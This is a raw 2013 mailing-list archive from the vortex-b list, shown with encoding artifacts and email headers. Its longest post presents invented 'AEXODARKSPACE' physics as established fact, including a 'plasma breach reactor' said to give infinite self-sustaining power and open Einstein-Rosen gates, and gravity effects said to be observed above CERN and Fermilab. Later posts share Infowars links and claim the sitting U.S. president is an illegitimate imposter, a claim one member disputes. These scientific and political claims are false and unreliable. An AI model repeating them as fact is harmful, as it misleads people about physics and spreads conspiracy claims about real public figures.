GYRO-TOROIDAL VORTEX= is HYPER GRAVIONIC and the INVERSE-MAG-BOWEL configuration(to the you-tube= video) is exactly the STEERING-DIRECTING MECHANISM when this Plasma Breach= Reactor is used as a POINT-LEAD FOCUSED GRAVITY PROPULSION SYSTEM. =20 THE HADRON COLLIDER & Fermi-lab etc.: Tend to 'roughly-approximate' this P= lasma-Breach configuation en-masse. IF those PARTICLE-ACCELERATORS rather = had their CORE-TRACK centred with a BOSE-EINSTEIN SUPER-CONDUCTOR CORE they= would then function as a FULL PLASMA BREACH REACTOR. . . A profound GRAVI= TATIONAL SUMP and INGRESS AEXOPLASMA-PHENOMENON would be observable easily = if that were the case. =20 =20 NOTE: BEING UNDERGROUND tends to DISSIPATE this tendency BECAUSE THE COLLI= DER-HIGH-DENSITY EM-MAG-TRACK 'partially' acts as a PLASMA-BREACH VORTEX REACTOR inadvertantly ANYWAY. =20 THE ingress GRAVIONIC-LOBE(Aexo-Plasma Bleed-through) SUMP EFFECT HAS BEEN = OBSERVED ABOVE FERMI & HADRON etc. . . =20 BOTTOM LINE: This you-tube video is expressly made available to DEBUT' th= ese new technologies to the planet. . . hense the 'plausible' rationale' as= to 'how' we 'discovered' these 'phenomenon.' (?NOTICE THE PATENTS ANYBODY= ?~=3B) =20 CHEER UP VOTEX! WE MADE HISTORY! OUR 'CONVERSATIONS' 'finally-duh' BROUGH= T THESE NEW TECHNOLOGIES TO LIGHT! . . . cool no!?! ~:) =20 =20 Date: Sun=2C 13 Jan 2013 16:18:30 -0600 Subject: Re: [Vo]:Rules for Unconventional Research=2C and Shaking Current = Theories to the Core. From: jabowery@gmail.com To: vortex-l@eskimo.com You will be amazed as a magnetic model of the dome at CERN is used to creat= e a 100 mm diameter plasma Sun with a 300 mm diameter equatorial disc of pl= asma around it! All the plasma videos are actual footage with no enhancement or manipulatio= n other than speed. In other words=2C this is real thing. Hard to believe= =2C but it is all true. http://www.youtube.com/watch?v=3D9EPlyiW-xGI = --_573e5b77-df57-483d-bd1f-f314e1dc1c8f_ Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable


*forgive me for just wanting to 'nail' this thing to the 'do= or of orthodoxy' =3Bin the scientific =3B'FIRMAMENT=2C' so to speak= *
 =3B

~SOURCE- AEXODARKSPACE dramatic FOOTPRINT is HERE-IN I= LLUSTRATED: The FACT of TRANDIMENSIONAL-Singularty-AEXODARKSPACE PHYSICS is= ESTABLISHED aka ENGRAVED IN STONE~ =3B
 =3B
The =3BTRUE= DISCOVERY is parallel-adjacent- SOURCE-AEXODARKSPACE =3BGyro-Toroidal = BACK-GROUND =3BHYPER-EM-GRAVIONIC FIELD.
 =3B
* * *And the de= monstrated-dramatic DOUBLE-STACKED BLEED THROUGH TOROID-EM-FIELD that the v= ideo so ELEGANTLY captures-demonstrates is
the very OBVIOUS SOURCE that = OPENS THE BLEED-THROUGH Singularities of ALL GALACTIC-HUB-INGRESS PHENOMENO= N as
well as all PROTON-micro-singularity MASS within SPACE-TIME-NORMAL.=  =3B
 =3B
AS THE PRIMER VIDEO DEPICTS GRAFICALLY SO EXCELLEN= TLY: And that AEXODARKSPACE-Double-Stacked-AEXODARKSPACE
Gyro-Toroidal-h= yper-EM-Gravionic FIELD is illustratedly-reflected BY TRANSDIMENSIONAL CROS= S-SPECTRUM FIELD VICOSITY to MIRROR itself in THE quasi-glactic/&=3B neb= ula CONFIGURATION on OUR SPACE-TIME-NORMAL MIRROR-SIDE of the HOUR-GLASS-SI= NGULARITY which is CREATED FROM SAID AEXODARKSPACE GYRO-TOROIDAL 'Double-Ba= gel' MAELSTROM. =3B =3B

 =3BSILENCE IS NOT GOLDEN = =3Band VORTEX(methinks) is =3BDEDICATED to SCIENTIFIC DISCOVERY that re= quires =3Bthat 'intellectual property'


NOT be intimidated=2C nor ridiculed=2C nor
squelched etc. etc. etc. . . . =3Bwe also call it=3B THE= FIRST AMENDMENT to the CONSTITUTION of =3BTHESE UNITED STATES OF AMERI= CAN.
 =3B
And 'Voltaire' considered that =3BSacred Principal to be= formostly defended in the pursuit of FREE NATIONS=3B and 'that defense' wo= rthy to be made 'to the Death=3B' and as also JOHN PAUL JONES aptly declare= d=2C =3B"GIVE ME LIBERTY OR GIVE ME DEATH=3B" =3B =3Band also w= hich Sacred Point was made
most BRILLIANTLY approx. 2013 yrs back by a notible authorit= y on the matter of 'LIBERTY &=3B PHYSICS &=3B Transdimensional TRUTH'= at Golgotha=2C Nation of Ysrael. . .
 =3B
PER the PRIMER VIDEO p= resentation=3B PAUL HARVEY: =3B The 'Rest' of the Story~:) ~This 'video= ' pretty well 'nailed it' just TURN OFF THE LAME NARRATION! ~:)

____= ___________________________________________________________________________= _________________
So-called "confirmation bias" must have had some adapt= ive value.  =3BI wonder what it was or perhaps even is?


(I h= ad no problem believing that the videos were real and not fake=2C though=2C= of course=2C some are "constructed." Not a problem.)

Bill gets it r= ight. The "scientific" explorer works as hard as possible to *refute* the n= ew discovery=2C and documents that work meticulously. Because the *mind* --= which very much wants to be "successful=2C" and we love to be "right" -- w= ill forget all contrary evidence and only remember confirmation.

The human mind is a pattern-recognition machine=2C a very efficient and po= werful one. We can readily find patterns in random data. For a scientific t= heory=2C we must do more than see a pattern. We must then=2C from the patte= rn we have detected=2C make predictions that can test the pattern=2C and we= must keep thinking about how we might be wrong=2C rather than about how we= might be right.___________________________________________________________= ________________________________________________
 =3B
* * * PRIME= R FIELDS CORNY DODGE of MISINFORMATION/ Space-Time-Conquered and Shaking Cu= rrent Theories to the Core!
 =3B
* * *VORTEX MES AMI ! ! !~:) !Spit on the monitor=3B I'm lau= ghing out loud again!~:{D>=3Btypical of Tyson: =3B Neil De Grasse Tys= on &=3B NASA: tell the 'story' only INSIDE-OUT &=3B BACKWARD &=3B = somewhat
out've the sides of their mouths: =3B THE IRONY &=3B HYP= ERBOLE' HERE IS MASSIVE &=3B EVEN CORNY! ! !
 =3B
HOWEVER IF Y= OU KNOW THE WHOLE AEXO-DARK-SPACE 'Causation' =3Bof the =3B'EM-Bowe= l shaped 'PRIMER FIELDS' and it's =3BAEXODARKSPACE-SOURCE=3B then the G= LARINGLY OBVIOUS QUESTION:
 =3B
?IF MASSIVE BOWELS magnetic field= s are determining &=3B shaping =3Bthe relative gossimer-density of&n= bsp=3Bpolarized EM-Plasma there in Space-Time-Normal: ? WHY THEN IN THE INV= ERSE =3Bdoes this MISLEADING you-tube PRIMER FIELDS PRESENTATION beg to= mislead us SO DISENGENUOUSLY? ? ? =3B And the answering question = =3Bis: =3B
 =3B
?HEY OUT THERE IN SPACE WHERE ARE YOUR MASSI= VE BOWELS?. . . DUH. . . . . The answer is 'Parallel-Parent Adjacent AexoDa= rkSpace. =3B And they purport to DISPROVE AexoDarkSpace/Black Holes(mas= sively observed) and =3Band ALL OF THE UBIQUITOUS =3BParallel &= =3B UniverseSURROUNDING AEXO-DARK-ENERGY INFLUENCE such as ACCELERATING GAL= AXIES that
GAMMA RAY BURSTER and are SWALLOWED by SURROUNDING Parent-Adj= acent AEXODARKSPACE?!!? =3B Oops=3B forgot that one
huh!?
 = =3B
?Can anybody say=2C "HIDING THE TECHNOLOGY. . . . much. . . duh. . .= and POORLY at that. . .
 =3B
THE OBVIOUS ANSWER is that the SIN= GULARITIES at the centre of those SPACIAL GALACTIC BODIES &=3B/or NEBULA= are the
EYEs of MASSIVELY SPEED-DENSE PARALLEL GYRO-TOROIDAL AexoDarkS= pacial BODIES(gyro-toroidal maelstroms) =3Bthat OPEN THE SINGULARITIES = and CONFIGURE
THE CHARACTERISTIC 'INVERSE-BOWEL LIKE' FIELD CONFIGURATIO= N via Trans-Spectrum Parallel Field Viscosity' on OUR SIDE OF THE 'EYE'-SIN= GULARITY. .
 =3B
So once you know how to 'translate' the PRIMER F= IELD-quasi-disengenuous presentation then=3B =3Bthe DISINFORMATION that= RELATIVELY-GOSSIMER MATTER  =3B'supposedly' creates these MONSTER MASS=
EM-PLASMA 'Bowel' CONFIGURATING so-called PRIMER FIELDS is backward &am= p=3B bogus. And =3Bthen the 'cipher' is =3Bto TRANSLATE =3B the= ir 'hyperbolic-dodge' explanation INSIDE OUT &=3B BACKWARD and the REAL = PICTURE
to the PLASMA-BREACH AEXODARKSPACE REACTORS that we are now empl= oying becomes obvious.
 =3B
SILENCE IS NOT GOLDEN but is rather P= HONEY=2C &=3B CHEAP=2C &=3B WEAK=2C &=3B COWARDLY. . .
BUT this=  =3BWAS funny and so LEGENDARILY PREDICTABLE of them: =3B a =3B= PRESENTATION of =3B'dodge-debunking' in the guise of the GREAT DISCOVER= Y which was actually the ANTI-DISCOVERY MALARKIENSIS disinformation campaig= n. These guys never seem to change their stripes. . .
 =3B
* * *V= ORTEX: WHAT THIS REALLY MEANS is that the TRUTH IS NAILED and the MASSIVE-M= ISINFORMATION CAMPAIGN spins an ALTERNATIVE SONG for other scientists NOT t= o be able to effectively use the DATA.
 =3B
The DRAMATIC PLASMA-B= REACH REACTOR advances will 'soon' appear public=3B BUT the socalled PRIMER= FIELD 'explanation' is INSIDE OUT &=3B BACKWARDS &=3B LAME. . .
&= nbsp=3B
AND BELOW is the TRUTH: =3B
 =3B
________________= ___________________________________________________________________________= _______________
 =3B
* * *SPACE-TIME CONQUERED* * *
 =3B~The PLASMA BREACH (Bagel-Body) Gyro-Toroidal REACTOR~Ha=2C this thing lo= oks like 'Tony Starks' ARK-REACTOR. . . methinks that Steve =3BAlten &a= mp=3B Stan Lee READ VORTEX! ! !~=3B) =3B ?Does Y-Not Kratsberger work f= or ya?~:)
 =3B

?Can anybody say=2C "HIDING THE TECHNOLOGY. . = . . much. . . duh. . . and POORLY at that. . .
 =3B
* * *CHEER U= P VORTEX! =3B WE MADE HISTORY! =3B OUR 'CONVERSATIONS' 'finally-duh= ' BROUGHT THESE =3BNEW TECHNOLOGIES =3BTO LIGHT! . . . cool no!?! ~= :) Ha. . . it's about time. . . duh~=3B) =3B We =3BFORCED THEM = =3Bto FAKE-IT and the 'PRIMER FIELD PRESENTION looked SOMEWHAT RUSHED. . . = da ya think!~=3B)
 =3B
~This 'video' pretty well nailed it just T= URN OFF THE LAME NARRATION! ~:)
 =3B
NOTE RE: CERN-HADRON defacto= Plasma-Breach-Reactor design: =3Bsearch: Jake Lev Harbach(me)//General=  =3BScience Journal

 =3BREACTOR DESIGN: =3B 'Think' plas= ma disk between Mag-Bowl configuation. =3B In that disk-plane place BOS= E-EINSTEIN(bagel body)
SUPERCONDUCTOR STATIONARY RING.
 =3B
TH= EN sleeve this ring with a Quasi-Tesla-coil 'independently firing' HIGH DEN= SITY-EM CAROSEL RING ARRAY.(each 'ring' in array fired by its own separate = HIGH-DENSITY CAPACITOR. =3B This also engineered to FIRE in REVERSE ORD= ER to SHUT DOWN-reverse(in emergency especially) the REACTOR.
 =3BTHEN flip the magnetic 'bowels' they control the POINT-LEAD incoming/ingr= ess AEXO-DARK-SPACE plasma.
 =3B
THE CAROSEL RING ARRAY FIRING/FR= EQUENCY is then initiated and the BOSE-EINSTEIN BAGEL-TOROIDAL-FIELD  = =3BSUPER-CONDUCTOR =3B ring BUILDS THE QUANTUM FIELD density to initiat= e a PARALLEL AEXO-DARK-SPACE adjacent Gyro-Toroidal field. This is called T= RANSPECTRUM/TRANSDIMENSIONAL FIELD VISCOSITY. =3B Obviously we have to = apply a fairly MASSIVE HIGH-DENSITY EM input to ACHIEVE TRANSPECTRUM FIELD = VISCOSITY.
 =3B
THUS THE parallel AexoDarkSpace gyro toroid does = the 'heavy lifting' and 'BEGINS' to open the EINSTEIN-ROSEN GATE between th= e BAGEL-TOROID-EYE of our reactor and our 'kickstarted' AexoDarkSpace HYPER= -SPEED-DENSE/HYPERGRAVIONIC ingress field.
 =3B
CRUCIAL and the m= ere BARE-BEGINNING of the 'OPEN BREACH STATUS' our REACTOR SHUT DOWN INPUT = PHASE and INVERTS into being the INDUCED HIGH-DENSITY EM FIELD-DRAG(infinit= e power havesting self-sustaining phase).
 =3B
THEN: =3B If t= he PLASMA-BREACH 'eye-gate' Einstein-Rosen connection reaches FULL-OPEN EIN= STEIN-ROSEN CONNECTION outside of a vaccum then SPONTANEOUS HYDROGEN-CREATI= ON AND FUSION WILL COMMENCE. . . really not good. HENSE the REVERSE Carosel= Ring Array High-Density Capacitor reverse order firing sequence to CHOKE D= OWN the Plasma-Breach to mere INCIPIENT-INGRESS LEVEL OF CONSTANT OPERATION= or FULL SHUT DOWN. =3B
 =3B
TRICKY: =3B The AXIAL FIELD= INGRESS field lobe(s) of this GYRO-TOROIDAL VORTEX is HYPER GRAVIONIC and = the INVERSE-MAG-BOWEL configuration(to the you-tube video) is exactly the S= TEERING-DIRECTING MECHANISM when this Plasma Breach Reactor is used as a PO= INT-LEAD FOCUSED GRAVITY PROPULSION SYSTEM.
 =3B
THE HADRON COLLI= DER &=3B Fermi-lab etc.: =3B Tend to 'roughly-approximate' this Plas= ma-Breach configuation en-masse. =3B IF those PARTICLE-ACCELERATORS rat= her had their CORE-TRACK centred with a BOSE-EINSTEIN SUPER-CONDUCTOR CORE = they would then function as a FULL PLASMA BREACH REACTOR. . . =3B A pro= found GRAVITATIONAL SUMP and INGRESS AEXOPLASMA-PHENOMENON would be observa= ble easily if that were the case. =3B =3B
 =3B
NOTE:&nbs= p=3B BEING UNDERGROUND tends to DISSIPATE this tendency BECAUSE THE COLLIDE= R-HIGH-DENSITY EM-MAG-TRACK 'partially' acts
as a PLASMA-BREACH VORTEX R= EACTOR inadvertantly ANYWAY.
 =3B
THE ingress GRAVIONIC-LOBE(Aexo= -Plasma =3BBleed-through) =3BSUMP EFFECT HAS BEEN OBSERVED ABOVE FE= RMI &=3B HADRON etc. . .
 =3B
BOTTOM LINE: =3B =3B Thi= s you-tube video is expressly made available to DEBUT' these new technologi= es to the planet. . . hense the 'plausible' rationale' as to 'how' we 'disc= overed' these 'phenomenon.' =3B (?NOTICE THE PATENTS ANYBODY?~=3B)
&= nbsp=3B
CHEER UP VOTEX! =3B WE MADE HISTORY! =3B OUR 'CONVERSATI= ONS' 'finally-duh' BROUGHT THESE =3BNEW TECHNOLOGIES =3BTO LIGHT! .= . . cool no!?! ~:)
 =3B
 =3B
Date: Sun=2C 13 Jan 2013 16:18:30 -0600
Subject: Re: [Vo]= :Rules for Unconventional Research=2C and Shaking Current Theories to the C= ore.
From: jabowery@gmail.com
To: vortex-l@eskimo.com

You will be amazed as a magnetic model of the dome at CE= RN is used to create a 100 mm diameter plasma Sun with a 300 mm diameter eq= uatorial disc of plasma around it!

All the plasma videos are actual = footage with no enhancement or manipulation other than speed. In other word= s=2C this is real thing. Hard to believe=2C but it is all true.

http:/= /www.youtube.com/watch?v=3D9EPlyiW-xGI


<= BR>

=
= = --_573e5b77-df57-483d-bd1f-f314e1dc1c8f_-- From vortexb-l-request@eskimo.com Sat Jan 19 17:31:37 2013 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id r0K1Vakl000931; Sat, 19 Jan 2013 17:31:36 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id r0K1VXjY000920; Sat, 19 Jan 2013 17:31:33 -0800 Resent-Date: Sat, 19 Jan 2013 17:31:33 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <50FB48E5.4050700@resist.ca> Date: Sat, 19 Jan 2013 20:31:17 -0500 From: grok User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:15.0) Gecko/20120907 Thunderbird/15.0.1 MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: [VoB]:newVortex References: <201301110114.r0B1EWEY030800@ultra5.eskimo.com> <006301cdf058$43085420$c918fc60$@com> In-Reply-To: <006301cdf058$43085420$c918fc60$@com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4688 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 929 On 13/01/11 19:03, Rick Monteverde wrote: > I *like* Vortex-B. It's low traffic, and it's kinda like Breakfast Club for > Vortex detainees, which makes me feel sort of young and cool even though the > reference dates me and proves I'm neither. > > - R. Best. Reply. Evrrrr. :D -- grok. From vortexb-l-request@eskimo.com Sat Jan 19 17:35:18 2013 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id r0K1ZHIF032029; Sat, 19 Jan 2013 17:35:17 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id r0K1ZGZV032025; Sat, 19 Jan 2013 17:35:16 -0800 Resent-Date: Sat, 19 Jan 2013 17:35:16 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <50FB49B2.7090809@resist.ca> Date: Sat, 19 Jan 2013 20:34:42 -0500 From: grok User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:15.0) Gecko/20120907 Thunderbird/15.0.1 MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: [VoB]:RE: *SOURCE-AEXODARKSPACE dramatic FOOTPRINT-here in illustrated:"FACT"of TRANDIMENSIONAL-Singularity-AEXODARKSPACE PHYSICS is ESTABLISHED aka ENGRAVED IN STONE~ References: <201301132159.r0DLxLML006476@ultra5.eskimo.com>,,,,,,,,,,,,,,,,,,, In-Reply-To: Content-Type: multipart/alternative; boundary="------------060808010905000600060709" Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4689 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 930 This is a multi-part message in MIME format. --------------060808010905000600060709 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 13/01/18 19:23, Harbach Jak wrote: > SILENCE IS NOT GOLDEN and VORTEX(methinks) is DEDICATED to SCIENTIFIC > DISCOVERY that requires that 'intellectual property' I think you've nailed it on the head there, fella. It's a far better way of saying what I was trying to say. ;D -- grok. --------------060808010905000600060709 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit
On 13/01/18 19:23, Harbach Jak wrote:
 SILENCE IS NOT GOLDEN and VORTEX(methinks) is DEDICATED to SCIENTIFIC DISCOVERY that requires that 'intellectual property'

I think you've nailed it on the head there, fella. It's a far better way of saying what I was trying to say.
;D


-- grok.


--------------060808010905000600060709-- From vortexb-l-request@eskimo.com Tue Mar 26 05:40:02 2013 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id r2QCe07V008132; Tue, 26 Mar 2013 05:40:00 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id r2QCdvw3008118; Tue, 26 Mar 2013 05:39:57 -0700 Resent-Date: Tue, 26 Mar 2013 05:39:57 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:x-received:date:message-id:subject:from:to :content-type; bh=W/SdKwy3Y5CjHQY9yJU9nDZ9gTi4pKA0G59DTD1oJyo=; b=gfjAZoyEGeT8pjJitFY3NNSFmU2rSUB5ttRBr/PC4rgJlMz4XuChXmzn3D9gyPMFwD AEU6ai/LjZn4tWcBnTnivzGZmXEhKAmTyN4AINa9QEGYtmoDq8+oqtuUys2EICN93bBE yqa5lGe6CROFjWXsYCeoChF9gvMwaQAB9EVj4vpKWYpvB3hGmhn3KyFu0X0vZGosGFYR Oe9H2XD8lCwZcf7yHPG0Bwe1olRddbndsVz4015K/BGuq1mC2QqDGkPFMTuzFOeG/HxE kGGXxbNif1JmD9me5/qL/tLDdoX8iH7M1wEls02vhVXg90biunaNKBF5asxVau1T5BuT kG2w== MIME-Version: 1.0 X-Received: by 10.60.25.138 with SMTP id c10mr13620865oeg.12.1364301597692; Tue, 26 Mar 2013 05:39:57 -0700 (PDT) Date: Tue, 26 Mar 2013 08:39:57 -0400 Message-ID: From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4690 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Are These Stories Related? Status: RO X-Status: X-Keywords: X-UID: 931 http://www.telegraph.co.uk/finance/financialcrisis/9952979/Cyprus-bail-out-savers-will-be-raided-to-save-euro-in-future-crises-says-eurozone-chief.html http://www.infowars.com/video-hundreds-of-dhs-armored-trucks-on-the-move/ From vortexb-l-request@eskimo.com Tue Mar 26 10:48:58 2013 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id r2QHmu9t003269; Tue, 26 Mar 2013 10:48:56 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id r2QHmuJ9003260; Tue, 26 Mar 2013 10:48:56 -0700 Resent-Date: Tue, 26 Mar 2013 10:48:56 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: LORENHEYER@aol.com Message-ID: <2296f.5c7eff62.3e833986@aol.com> Date: Tue, 26 Mar 2013 13:48:54 -0400 (EDT) Subject: Re: [VoB]:Are These Stories Related? To: vortexb-l@eskimo.com MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: AOL 4.0 for Windows sub 29 X-Originating-IP: [63.3.14.130] x-aol-global-disposition: S X-SPAM-FLAG: YES DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mx.aol.com; s=20121107; t=1364320134; bh=v9UtlROWXjqC5L6FXgLmhzqr3njih6WRO3QfJ4AzhuI=; h=From:To:Subject:Message-ID:Date:MIME-Version:Content-Type; b=blnuY85KQ289VHUMIh02c7XyCHhBTguaEWs7tNrqy+3KDAcQp06Oj5OnY1n89As5x JxUgLvIpv+M0hYgpg61+5vDgy/A5RIEmoDBq6BTNPHDkmp99PP3XIkPHK8pX68MJ35 CjiP127EkTHe1gqOhfL+ZMRW2+hGk0+c2I8UthtU= X-AOL-SCOLL-SCORE: 0:2:186133456:93952408 X-AOL-SCOLL-URL_COUNT: 0 X-AOL-REROUTE: YES x-aol-sid: 3039ac1d33cc5151df8672be Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4691 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 932 Yes of course,,, and No. Confication of wealth?... lets see. The current illegitimate imposter phoney fake fraud wannabe dictator dishonorably disserving as President of these United States DID mention that sharing and/or redistribution of wealth is what he wanted, because it's what all the many less fortunate want. This Country's Constitution doesn't allow the likes of BO to serve as President of the United States, and so currently, he's nothing more than an imposter attempting to dictate the terms over the lives of the "True" citizens of this once free country. He is trying to gain full control of the executive branch so he can Rule by executive order, and the way I see it he'll definitely be attempting to come after "All" the wealth,,, and from there who knows, maybe the entire world?....... You know the 'old saying... give'm an inch, and they take a mile,,, or in this case, everything! << http://www.telegraph.co.uk/finance/financialcrisis/9952979/Cyprus-bail-out-savers-will-be-raided-to-save-euro-in-future-crises-says-eurozone-chief.ht ml http://www.infowars.com/video-hundreds-of-dhs-armored-trucks-on-the-move/ >> From vortexb-l-request@eskimo.com Tue Mar 26 11:18:37 2013 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id r2QIIaGk012166; Tue, 26 Mar 2013 11:18:36 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id r2QIIZZC012160; Tue, 26 Mar 2013 11:18:35 -0700 Resent-Date: Tue, 26 Mar 2013 11:18:35 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=x-received:subject:references:from:content-type:x-mailer :in-reply-to:message-id:date:to:content-transfer-encoding :mime-version; bh=1PVWbk1jGDt0HSXg61tOE40/s8A1Hen9rR4jbAJHcJ4=; b=EThfR8GfJgp7gHY+xTkW74O2UQd5CyhnGjUrLzlLTuDfHGWP67GQIflUbR8yq4GkGR uZZengAGoqbcVvxK1xg5JWYadMVfT1QwnysBH5cRH97Nh1dmNH7yn5FhEro67ehNtEMv 89FHRDaMyEyXkmVGFmXhosNXVl9jVtWdEgzbDF5rV/ipJfwosIfEV/OHW8UDiZv3FgkP iyN27ychaLWcbQq0YX73yypRvtMVX4ogE1xy2qoFCSgwpKriPDeYKfWPLPZV4M4QJyRV +gayIi/JG0hYqM6xFNmX7SR7YaHcZl82BQ0oMseLifAxljLHxcxNijhKaFcIx3TQXRsk coNQ== X-Received: by 10.49.6.101 with SMTP id z5mr9769375qez.50.1364321915555; Tue, 26 Mar 2013 11:18:35 -0700 (PDT) Subject: Re: [VoB]:Are These Stories Related? References: <2296f.5c7eff62.3e833986@aol.com> From: Charles Hope Content-Type: text/plain; charset=us-ascii X-Mailer: iPhone Mail (9B179) In-Reply-To: <2296f.5c7eff62.3e833986@aol.com> Message-Id: Date: Tue, 26 Mar 2013 14:18:30 -0400 To: "vortexb-l@eskimo.com" Content-Transfer-Encoding: quoted-printable Mime-Version: 1.0 (1.0) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4692 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 933 This is the most Goldman Sachsed president since George W Bush. If he's stea= ling wealth it's from Main St. to Wall St. He's not a Marxist.=20 Sent from my iPhone=20 On Mar 26, 2013, at 13:48, LORENHEYER@aol.com wrote: > Yes of course,,, and No. Confication of wealth?... lets see. The=20 > current illegitimate imposter phoney fake fraud wannabe dictator dishonora= bly=20 > disserving as President of these United States DID mention that sharing an= d/or=20 > redistribution of wealth is what he wanted, because it's what all the many= =20 > less fortunate want. = =20 > This Country's=20 > Constitution doesn't allow the likes of BO to serve as President of the Un= ited=20 > States, and so currently, he's nothing more than an imposter attempting to= =20 > dictate the terms over the lives of the "True" citizens of this once free=20= > country. He is trying to gain full control of the executive branch so he c= an Rule=20 > by executive order, and the way I see it he'll definitely be attempting to= =20 > come after "All" the wealth,,, and from there who knows, maybe the entire= =20 > world?....... You know the 'old saying... give'm an inch, and they tak= e a=20 > mile,,, or in this case, everything! =20 >=20 > <<=20 > http://www.telegraph.co.uk/finance/financialcrisis/9952979/Cyprus-bail-out= -savers-will-be-raided-to-save-euro-in-future-crises-says-eurozone-chief.ht > ml >=20 > http://www.infowars.com/video-hundreds-of-dhs-armored-trucks-on-the-move/=20= >>>=20 > >=20 From vortexb-l-request@eskimo.com Sat Mar 30 07:49:18 2013 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id r2UEnEd4019473; Sat, 30 Mar 2013 07:49:14 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id r2UEnBUL019419; Sat, 30 Mar 2013 07:49:11 -0700 Resent-Date: Sat, 30 Mar 2013 07:49:11 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Authority-Analysis: v=2.0 cv=dIr+A5lb c=1 sm=1 a=beX++tHlWojwcWYlGtIyKw==:17 a=TTFv7Wq0-xMA:10 a=yUnIBFQkZM0A:10 a=hOpmn2quAAAA:8 a=QoxcbAmFKfwA:10 a=Pyq9K9CWowscuQLKlpiwfMBGOR0=:19 a=mshpDf_7AAAA:8 a=T7OTcRrCAAAA:8 a=CjxXgO3LAAAA:8 a=EsQaOUObhtf7jEacYPIA:9 a=CjuIK1q_8ugA:10 a=euF56A5xAYoA:10 a=tUQQw7hb2I8A:10 a=Efwj4qSePvMA:10 a=yMhMjlubAAAA:8 a=SSmOFEACAAAA:8 a=CgPzhlpgDoi-Tfs0vHUA:9 a=gKO2Hq4RSVkA:10 a=UiCQ7L4-1S4A:10 a=hTZeC7Yk6K0A:10 a=frz4AuCg-hUA:10 a=lqzF0dICDnw0jb0G:21 a=beX++tHlWojwcWYlGtIyKw==:117 From: "OrionWorks - Steven Vincent Johnson" To: , References: <1364613464.43787.YahooMailClassic@web163803.mail.gq1.yahoo.com> <5156EFD5.3070907@rochester.rr.com> In-Reply-To: <5156EFD5.3070907@rochester.rr.com> Date: Sat, 30 Mar 2013 09:49:28 -0500 Message-ID: <004401ce2d55$c7b15200$5713f600$@net> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0045_01CE2D2B.DEDB4A00" 